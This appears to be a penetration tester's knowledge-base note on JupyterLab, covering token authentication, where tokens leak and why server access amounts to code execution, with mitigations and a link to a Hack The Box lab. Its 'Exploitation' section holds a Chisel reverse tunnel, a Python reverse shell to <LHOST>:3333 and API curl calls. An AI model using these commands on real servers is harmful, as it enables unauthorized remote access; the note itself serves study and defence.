📦 JupyterLab
What is it?
- Concept: JupyterLab (and its predecessor Jupyter Notebook) is a browser-based IDE for running code interactively. The server process spawns kernels — long-lived interpreter processes — and executes whatever the browser sends them. Arbitrary code execution is not a bug here, it is the product; the only thing standing between an attacker and a shell is the server’s authentication.
- Impact: Access to a Jupyter server is, by definition, code execution as the user running the server. There is no sandbox, no restricted mode, and no separation between “notebook user” and “shell user” —
!bash,os.system(), andsubprocessall work from the first cell.
How it works
jupyter-labstarts an HTTP server (default8888) plus a WebSocket channel per kernel. The browser POSTs code to/api/kernels/<id>/executeover that WebSocket; the kernel runs it and streams back the output.- Authentication is a single bearer token, generated at startup and printed to the console, usable as
?token=<token>, anAuthorization: token <token>header, or typed into the login box. Optionally a password hash can be set instead (ServerApp.password), and an empty--ServerApp.password=means the token is the only control. - Once authenticated, the session cookie persists; there is no per-notebook authorization, no roles, and no audit beyond the server log.
- Typical deployments bind to
127.0.0.1and expect a reverse proxy or SSH tunnel in front — which means the token is often treated as a low-stakes secret, since “nobody can reach the port anyway”.
Security Quirks & Niche Facts
- The token is regularly leaked in the process list. Systemd units and startup scripts pass it as
--ServerApp.token=<token>, and/proc/<pid>/cmdlineis world-readable, so any local user can read it . - Other places the same token shows up:
jupyter server list(run as the owning user),~/.local/share/jupyter/runtime/*.json(the runtime connection files, mode0600but readable by root and by the owner), and the service’s own stdout log. --ServerApp.token=''disables authentication entirely — some “internal only” deployments do this deliberately. Reaching such a server from anywhere is instant RCE.- Binding to localhost is not a security boundary once you have a foothold: forward the port (Chisel,
ssh -L) and the UI is yours. - Code execution does not require the UI at all — the REST/WebSocket API (
POST /api/sessions, then execute over/api/kernels/<id>/channels) accepts the same token, which matters when onlycurlis available. - A notebook file (
.ipynb) is inert on disk, but anything that auto-executes notebooks (nbconvert --execute,papermill, a scheduled pipeline) turns “I can write a notebook into a watched directory” into RCE as whoever runs the pipeline. - Kernels outlive the browser session: a kernel started by an admin can still be attached to and reused later.
Exploitation
# 1. Find it — a Python process listening on 8888 (or any port) is the tell
ss -tulnp | grep -i python
ps auxww | grep -i jupyter # the token is frequently right here
# 2. Reach it — localhost-bound servers need a tunnel
# attacker: chisel server -p 8000 --reverse
# target: /tmp/chisel client <LHOST>:8000 R:8888:127.0.0.1:8888
# then browse http://localhost:8888/ and paste the token
# 3. Execute — from a notebook cell, as the user running the server
# (any of these; see [[Reverse Shell Payloads]])import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<LHOST>',3333))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
pty.spawn('/bin/bash')# API-only variant when there is no browser: list what the token unlocks
curl -s -H 'Authorization: token <token>' 'http://127.0.0.1:8888/api/sessions'
curl -s -H 'Authorization: token <token>' 'http://127.0.0.1:8888/api/terminals' -X POSTRelated Techniques
Mitigation
- Fix 1: Pass the token via
JUPYTER_TOKENin anEnvironmentFile=with mode0600(or use a password hash), never as a command-line argument — the process table is public. - Fix 2: Put the server behind authenticating reverse proxy / SSO and run it as a dedicated unprivileged user with no interesting file access, on the assumption that anyone who reaches it gets code execution as that user.
- Fix 3: Never run a Jupyter server with
token='', and don’t run one as a user who can read secrets unrelated to the notebooks themselves.
Related Usage
| File | Created |
|---|---|
| HTB Machine - Devhub | Sunday, September 6th 2026, 1:19:49 pm |
References: